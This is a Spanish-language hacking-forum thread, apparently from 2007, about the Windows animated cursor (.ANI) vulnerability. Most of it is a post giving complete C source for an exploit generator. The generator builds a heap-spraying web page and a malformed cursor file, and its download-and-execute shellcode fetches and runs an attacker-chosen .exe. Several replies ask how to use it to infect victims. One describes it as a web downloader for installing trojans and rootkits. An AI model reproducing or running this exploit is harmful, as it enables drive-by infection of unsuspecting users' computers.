Tema destacado: ¡Aprende hacking con práctica! -  arZone, el wargame de elhacker.net
 Autor
|
Tema: MS Windows Animated Cursor (.ANI) Remote Exploit (eeye patch bypass) (Leído 5,293 veces)
|
[VolkS]
 Desconectado
Mensajes: 288
[Argentina]
|
[b]..::[ jamikazu presents ]::..
Windows Animated Cursor Handling Exploit (0day) (Version3)
Works on fully patched Windows Vista
I think it is first real remote code execution exploit on vista =)
Tested on:
Windows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows XP SP2
(It also must to work on all nt based windows but not tested)
Update: It also bypass eeye security ani patch!
Author: jamikazu
Mail: jamikazu@gmail.com
Bug discovered by determina (http://www.determina.com)
Credit: milw0rm,metasploit, SkyLined, http://doctus.net/
invokes calc.exe if successful
http://www.milw0rm.com/sploits/04012007-exp.zip
# milw0rm.com [2007-04-01][/b] DiarioTI:iDefense está analizandolos archivos disponibles atacados así como las cargas explosivas para aclarar qué partes de los equipos son vulnerables a este virus. Diario Ti: VeriSign avisa de la aparición en la Red de un nuevo programa malicioso y que, de momento, ha sido responsable de ataques limitados o dirigidos a objetivos específicos. Los primeros datos obtenidos sugieren que se trata de un ataque limitado vía e-mail, que contiene un archivo hostil ANI y que probablemente venga en formato jpg. Cuando se introduce en Windows XP SP2 con IE 6/7 se produce una instalación silenciosa del código desde un sitio web remoto que contiene código malicioso. Consideraciones: 1. Un nuevo cursor animado (ANI) en el día de ataque cero ha pasado a ser de conocimiento público el 29 de Marzo de 2007. 2. Los ataques hasta la fecha parecen ser limitados y muy probablemente se han realizado a través del correo electrónico, de manera que se ha podido instalar un troyano de forma silenciosa. 3. El nuevo código malicioso ANI tiene un potencial significativo, y recuerda a muchos profesionales de la seguridad a los anteriores ataques de WMF que se produjeron durante 2005/06. 4. Las recomendaciones sobre cómo mitigar los efectos de este nuevo programa malicioso no se han demostrado en la fecha en la que se ha emitido esta alerta. Los datos no confirmados sugieren que la configuración de correo de los clientes en formato de “texto simple" puede ayudar a mitigar el vector primario de los ataques iniciales pero no la vulnerabilidad en sí misma. Además, puede llegar a necesitarse el bloqueo de todos los correos electrónicos con archivos adjuntos para atrapar de forma exitosa archivos ANI que se hayan podido camuflar entre otro tipo de ficheros, tales como JPEG.
|
|
|
|
|
En línea
|
|
|
|
|
Bourne Ultimatum
|
alguien me explica como se usa?
|
|
|
|
|
En línea
|
"El pertenecia a esa clase singular de hombres que la especie produce rara vez, en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo cualquier sufrimiento parece natural" Ernesto CHE Guevara http://www.desdeabajorugby.com.ar |
|
|
ugruhell
Desconectado
Mensajes: 79
|
a mi tambien me gustaria saber como se usa.
|
|
|
|
|
En línea
|
|
|
|
[VolkS]
Desconectado
Mensajes: 288
[Argentina]
|
Yo no lo pude hacer andar probe mil cosas/shellcodes xD. Ahora salio otro ya con la shell code Download&Exec, pero no tengo lnx y no lo puedo compilar  . esta en perl tengo el active Perl para windows pero requiere comandos de lnx  . http://milw0rm.com/exploits/3651 |
|
|
|
|
En línea
|
|
|
|
|
Bourne Ultimatum
|
si si ese lo vi, pero se me complica un poco en lnx
despues hay otro q ya ta armando q son 2 html
ese no me funciono, y hay otro q viene un html con un ani q se me trba el explorer debe ser por el DEP...
bueno, voy a esperar q salga mas info
|
|
|
|
|
En línea
|
"El pertenecia a esa clase singular de hombres que la especie produce rara vez, en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo cualquier sufrimiento parece natural" Ernesto CHE Guevara http://www.desdeabajorugby.com.ar |
|
|
EvilGoblin
Desconectado
Mensajes: 2.320
YO NO LA VOTE!
|
acaba de salir un video en www.milw0rm.com como utilizar el metasploit para ejecutar ese exploit desde un LIVECD =) |
|
|
|
|
En línea
|
Experimental Serial Lain [Linux User]
|
|
|
|
Bourne Ultimatum
|
muy buen video, voy a ver si puedo hacerlo andar
gracias por la info
|
|
|
|
|
En línea
|
"El pertenecia a esa clase singular de hombres que la especie produce rara vez, en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo cualquier sufrimiento parece natural" Ernesto CHE Guevara http://www.desdeabajorugby.com.ar |
|
|
EvilGoblin
Desconectado
Mensajes: 2.320
YO NO LA VOTE!
|
hacelo desde back track bajate la ISO y kemala en un CD,
ahora me pregunto
solo para el outlook?
no sirve para IE?
xD..como me encanta la Musik q utilizan
taria para que pongan el nombre de la song xD
=P
GOBLIN INC!
|
|
|
|
|
En línea
|
Experimental Serial Lain [Linux User]
|
|
|
|
Bourne Ultimatum
|
bueno, ahi probe lo q muestran en el video.
pero no me funciona.
el mail sale, me llega a la cuenta pero no se infecta es raro esto o no?
alguien probo o tiene otra manera de hacerlo??
|
|
|
|
|
En línea
|
"El pertenecia a esa clase singular de hombres que la especie produce rara vez, en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo cualquier sufrimiento parece natural" Ernesto CHE Guevara http://www.desdeabajorugby.com.ar |
|
|
[VolkS]
Desconectado
Mensajes: 288
[Argentina]
|
/*
*-----------------------------------------------------------------------
*
* Microsoft ANI Buffer Overflow Exploit Web Download Code Execution Exploit
* Works on Windows XP versions including SP2 and 2K Sp4
*
* Author: SubSyn
*
* Credit: metasploit, determina (http://www.determina.com), SkyLined,
* http://doctus.net/,Trirat Puttaraksa sf-freedom.blogspot.com
* Greetz: to MrE Subbart
* :
* Tested :
* : XP CORP SP2 IE7 ... XP SP2 IE6 .. WIN2K IE6 SP4 ..
* :
* :
* :
* :
* :Usage: filename <exe_URL> [htmlfile]
* : filename.exe http://site.com/file.exe localhtml.htm
* : then host localhtml.htm and riff.htm on your site
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
FILE *fp = NULL;
char *file = "AniWin.htm";
char *url = NULL;
unsigned char sc[] =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF";
// sorry i was too lazy to make it drop all the 0B in code so i left it
unsigned char riff[] =
"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x4C\x49\x53\x54\x03\x00\x00\x00\x10\x00\x00\x00\x4C\x49\x53\x54\x03\x00\x00\x00\x02\x02\x02\x02\x61\x6E\x69\x68\xA8\x01\x00\x00\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B"
"\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B"
"\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B"
"\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B";
char * header =
"<html xmlns=\"http://www.w3.org/1999/xhtml\">\n"
"<body>\n"
"<SCRIPT language=\"javascript\">\n"
"var heapSprayToAddress = 0x07000000;\n"
"\n"
"\n"
"\n"
"var payLoadCode = unescape ("
" ";
char * footer =
"\n"
"var heapBlockSize = 0x400000;\n"
"var payLoadSize = payLoadCode.length * 2;\n"
"var spraySlideSize = heapBlockSize - (payLoadSize+0x38);\n"
"var spraySlide = unescape(\"%u4141%u4141\");\n"
"spraySlide = getSpraySlide(spraySlide,spraySlideSize);\n"
"heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;\n"
"memory = new Array();\n"
"for (i=0;i<heapBlocks;i++)\n"
"{\n"
"memory[i] = spraySlide + payLoadCode;\n"
"}\n"
"document.write(\"<HTML><BODY style=\\\"CURSOR: url('riff.htm')\\\"> </BODY></HTML>\")\n"
"wait(500)\n"
"window.location.reload()\n"
"function getSpraySlide(spraySlide, spraySlideSize)\n"
"{\n"
"while (spraySlide.length*2<spraySlideSize)\n"
"{\n"
"spraySlide += spraySlide;\n"
"}\n"
"spraySlide = spraySlide.substring(0,spraySlideSize/2);\n"
"return spraySlide;\n"
"}\n"
"</SCRIPT>\n"
"\n"
"</body></html>\n"
"\n";
// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
int i;
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("\"\n\"");
fprintf(fp, "%s", "");
}
else
{
printf("\"");
fprintf(fp, "%s", "\"");
}
}
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
printf("\";\n");
fprintf(fp, "%s", "\");\n");
fflush(fp);
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
int sc_len = 0;
if (argc < 2)
{
printf("Microsoft ANI Buffer Overflow Exploit Remote Code Execution Exploit (0day)\n");
printf("Html used from determina Calc Demo Exploit\n");
printf("\r\nUsage: %s <URL> [Local htmlfile]\r\n\n", argv[0]);
exit(1);
}
url = argv[1];
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
return;
}
printf("[+] download url:%s\n", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);
fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}
fprintf(fp, "%s", header);
fflush(fp);
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
sc_len += strlen(url)+1;
PrintPayLoad(buf, sc_len);
fprintf(fp, "%s", footer);
fflush(fp);
printf("[+] exploit written to %s successfully!\n", file);
// put the riff file from Trirat Puttaraksa to the directory
file = "riff.htm";
printf("[+] Ani Html file being written:%s\n", file);
fp = fopen(file, "wb"); //remember to open the file as binary (write-Binary = wb) so fwrite doesnt add the 0D0A
if(!fp)
{
printf("[-] Open file error:%s\n",file);
return;
}
fwrite( riff, 1, sizeof( riff ) - 1 , fp );
fflush(fp);
printf("[+] Ani Html written to %s successfully!\n", file);
} Ahi lo tienen para compilar con la shellcode Download&Exec, una ves compilado se usa (en el cmd) exploit.exe http://tuexe.com index.html era PV pero bueno lo hago publico
|
|
|
|
« Última modificación: 5 Abril 2007, 20:37 por [VolkS] »
|
En línea
|
|
|
|
cacolo
Desconectado
Mensajes: 155
Motocross RiDer! / Registrado : 06 Abril 2006
|
Gracias, pero podrian explicar un poco mas ? es que yo entiendo muy poco, que hay que editar o como hacer Para infectar.
Saludos.
|
|
|
|
|
En línea
|
|
|
|
NostraTerranius
Desconectado
Mensajes: 48
|
Mas facil imposible.
El exploit te crea 2 archivos html, uno sera la web maliciosa que tendra que ver el usuario que quieras infectar, y otro archivo html (riff.html) que es el cursor en si.
El archivo riff.html es el que provoca el overflow, y el incauto usuario que visita esa web descarga y ejecuta un archivo .exe que previamente le has indicado al exploit.
Un web downloader basico, para meter troyanos y/o rootkits.
De todas formas, este exploit estara probablemente capado para que no funcione sin modificarlo un poco. O eso espero. Script Kiddies are bad people.
|
|
|
|
|
En línea
|
|
|
|
[VolkS]
Desconectado
Mensajes: 288
[Argentina]
|
Mas facil imposible.
El exploit te crea 2 archivos html, uno sera la web maliciosa que tendra que ver el usuario que quieras infectar, y otro archivo html (riff.html) que es el cursor en si.
El archivo riff.html es el que provoca el overflow, y el incauto usuario que visita esa web descarga y ejecuta un archivo .exe que previamente le has indicado al exploit.
Un web downloader basico, para meter troyanos y/o rootkits.
De todas formas, este exploit estara probablemente capado para que no funcione sin modificarlo un poco. O eso espero. Script Kiddies are bad people.
El que puse yo funciona perfectamente
|
|
|
|
|
En línea
|
|
|
|
Achernar
Desconectado
Mensajes: 317
|
alquien conoce una pagina donde se explique bien en que consiste el fallo? no como explotarlo sino... ¿que informacion contienene el encabezado?... o sea... una explicacion como por ejemplo en el ecabezado dice que el archivo tiene 30 pixeles por otros 30 y en lugar de eso metemos una imagen mas grande y se desborda "ALGO"  ... porque en el los distintos exploits los encabezados son diferentes... cuando quise hacer un bmp... me pase horas con el paint haciendo archivos de 1x1 1x2 2x1 2x2 ... etc y viendo que se modificaba en el encabezado para entenderlo  ... hoy agarre uno de esos encabezados ani de los exploits y lo meti en un archivo seguido de 5000 "a" para ver si saltaba el overflow... pero nada si alguien sabe de una pagina que explique el encabezado de los ani y en que consiste el fallo lo agradeceria me ahorraria lo de las horas creando ani's y despues otras horas mas naufragando hasta dar con la pagina que busco. Desde ya gracias por leer. p/d otra cosa... como es que si el problema es con los ani... en muchos exploits en lugar de haber un archivo ani junto a la web maliciosa hay otro archivo html? alguien me podria desburrar? |
|
|
|
|
En línea
|
|
|
|
LOKORIP
Desconectado
Mensajes: 66
|
no lo hago funcionar los que tienen antivirus detecta al exploit como downloader pero los que no tienen antivirus no se ejecuta mi archivo exe desde la web que pongo en el archivo html y la ruta de la web es correcta y no estan parcheados con el parche kb931836 gracias de antemano
|
|
|
|
|
En línea
|
|
|
|
|
 |
